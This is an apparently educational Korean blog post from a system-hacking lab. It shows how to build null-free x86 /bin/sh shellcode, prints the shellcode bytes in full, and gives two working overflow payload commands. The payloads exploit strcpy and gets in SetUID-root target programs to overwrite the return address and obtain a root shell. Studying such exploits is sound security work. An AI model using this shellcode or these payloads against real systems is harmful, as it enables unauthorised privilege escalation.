Information Security

스택 버퍼 오버플로우 공격 실습 본문

System Hacking

스택 버퍼 오버플로우 공격 실습

leeeeye321 2018. 2. 1. 11:16

Shell Code

-버퍼 오버플로우 공격의 핵심은 오버플로우가 발생하는 버퍼에 저장되는 공격자의 코드로 실행 제어를 이동시키는 것이다.

-사용자 명령어 라인의 해석기 Shell로 제어를 넘기고 공격당한 프로그램의 권한으로 시스템의 다른 프로그램에 접근하기 때문에 Shell code라고 부른다.

 

일단 /bin/sh 명령어를 실행하는 소스 코드를 작성했다.

메모리에 실행할 명령어만 올려야 하므로 data 세그먼트는 사용하지 않고 기계어로 변환해야 한다. 

 

 

text 세그먼트만 사용해서 어셈블리어로 작성했다.

 

실행 파일을 disassemble해서 기계어를 획득했다.

그런데 여기서 보이는 null 값(00)은 입력할 수 없는 값(bad character)이다.

 

1. 4바이트 레지스터 eax에 1바이트 값을 넣으면 나머지 3바이트에 0이 들어간다.

-> eax 레지스터 대신에 al 레지스터를 사용한다.

 

2. push 0

-> 0을 push 하지말고 xor 연산으로 초기화한 레지스터를 사용한다.

 

 

 

31 d2 31 c0 52 68 2f 2f 73 68 68 2f 62 69 6e b0 0b 89 e3 52 53 8d 0c 24 52 cd 80

다시 작성하여 기계어를 확인한 결과 null 문자는 하나도 없다.

이제 이 숫자들 앞에 \x를 붙여서 입력 가능한 문자열 형태로 만들어 주면 된다.

 

\x31\xd2\x31\xc0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x52\x53\x8d\x0c\x24\x52\xcd\x80

여기까지 하면 쉘 코드가 완성된다.

 

 

함수 포인터를 이용해서 검증해 본 결과 쉘 코드가 정상적으로 동작한다. 

이제 진짜 버퍼 오버플로우 공격을 해볼 것이다.

 


 

Stack Buffer Overflow Attack1 !!

 

공격 시나리오

① 공격 쉘 코드를 버퍼에 저장한다.

② root 권한으로 실행되는 프로그램의 버퍼를 오버플로우 시켜서 공격 쉘 코드가 저장되어 있는 버퍼의 주소로 덮어씌운다.

③ 특정 함수의 호출이 완료되면 조작된 반환 주소로 쉘 코드의 주소가 반환되어 쉘 코드가 실행되고, root 권한을 획득하게 된다.

 

타겟 프로세스를 생성한다.

 

타겟 프로세스는

버퍼 오버플로우 취약점이 존재하고,

SetUID 권한이 설정되어 있다.

target1 프로세스에 SetUID를 설정하고 /tmp 디렉터리에 위치시킨다.

 

공격을 시도할 attacker 계정을 생성한 후 접속한다.

 

gdb로 메모리를 분석해야 한다. root 권한의 프로세스로는 할 수 없기 때문에 복사본을 만들고 gdb를 실행한다.

 

 

버퍼 오버플로우 취약점은 strcpy 함수에서 발생한다.

함수 호출 후 지점을 breakpoint로 설정해주고 쉘 코드를 인자로 전달하여 메모리를 확인한다.

 

인자로 전달한 쉘 코드는 버퍼에 저장된다.

버퍼 100 바이트 중 쉘 코드는 27 바이트를 차지한다.

나머지 73 바이트는 0으로 초기화되어 있다.

 

$(python -c 'print "\x31\xd2\x31\xc0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x52\x53\x8d\x0c\x24\x52\xcd\x80" + "a" * 77 + "\x44\xfa\xff\xbf"')

EIP의 값을 쉘 코드가 위치한 버퍼의 주소로 덮어 씌워야 한다.

 

버퍼는 총 100 바이트이므로 100 - 27 = 73 바이트, 버퍼를 넘어서서 EBP까지 총 77 바이트를 A로 채우고

쉘 코드가 위치하는 버퍼의 주소(0xbffffa44)를 입력한다.

 

EIP 값이 해당 주소로 덮어졌다.

 

16 바이트 단위로 실제 주소를 추측하다 보면 쉘 코드가 실행이 된다. 

오버플로우 공격으로 인해 프로그램의 실행 흐름이 변경된 결과이다.

 

우리가 원하던 대로 target1 프로세스의 SetUID에 의해 root 권한으로 실행된다. 권한 탈취(상승)에 성공했다.

 


 

Stack Buffer Overflow Attack2 !!

 

이번에는 gets 함수로 인해 버퍼 오버플로우 취약점이 발생한다.

 

gets(char *str)

표준 입력으로부터 str로 한 줄을 읽어들인다.

 

표준 입력은 모든 입력을 문자열로 인식하여 숫자를 입력할 수 없다.

쉘 코드를 입력하기 위해서는 파이프를 사용해야 한다.

-> 파이프(|)는 한 명령어의 출력을 두 번째 명령어의 입력으로 사용하고 싶을 때 사용할 수 있다.

 

gdb에서 파이썬 명령어를 사용할 수 없다.

 

버퍼 100바이트 + EBP 4바이트 -> A * 104

EIP 4바이트 -> BBBB

메모리에 값이 어떻게 들어가는지 확인하기 위해서 문자를 미리 출력해서 그대로 복사할 것이다. 

 

 

EIP에 BBBB가 들어간 것을 확인할 수 있다.

쉘 코드가 위치할 주소는 bffffa64이다.

 

(python -c 'print "\x31\xd2\x31\xc0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x52\x53\x8d\x0c\x24\x52\xcd\x80" + "A" * 77 + "\x64\xfa\xff\xbf"';cat) | ./target2

파이썬 명령과 cat 명령을 같이 실행하기 위해 묶고 이를 표준 입력으로 전달한다.

 

오버플로우 공격에 의해 실행의 흐름이 공격 코드로 변경되었다.

target2 프로세스의 SetUID에 의해 권한 상승도 성공했다.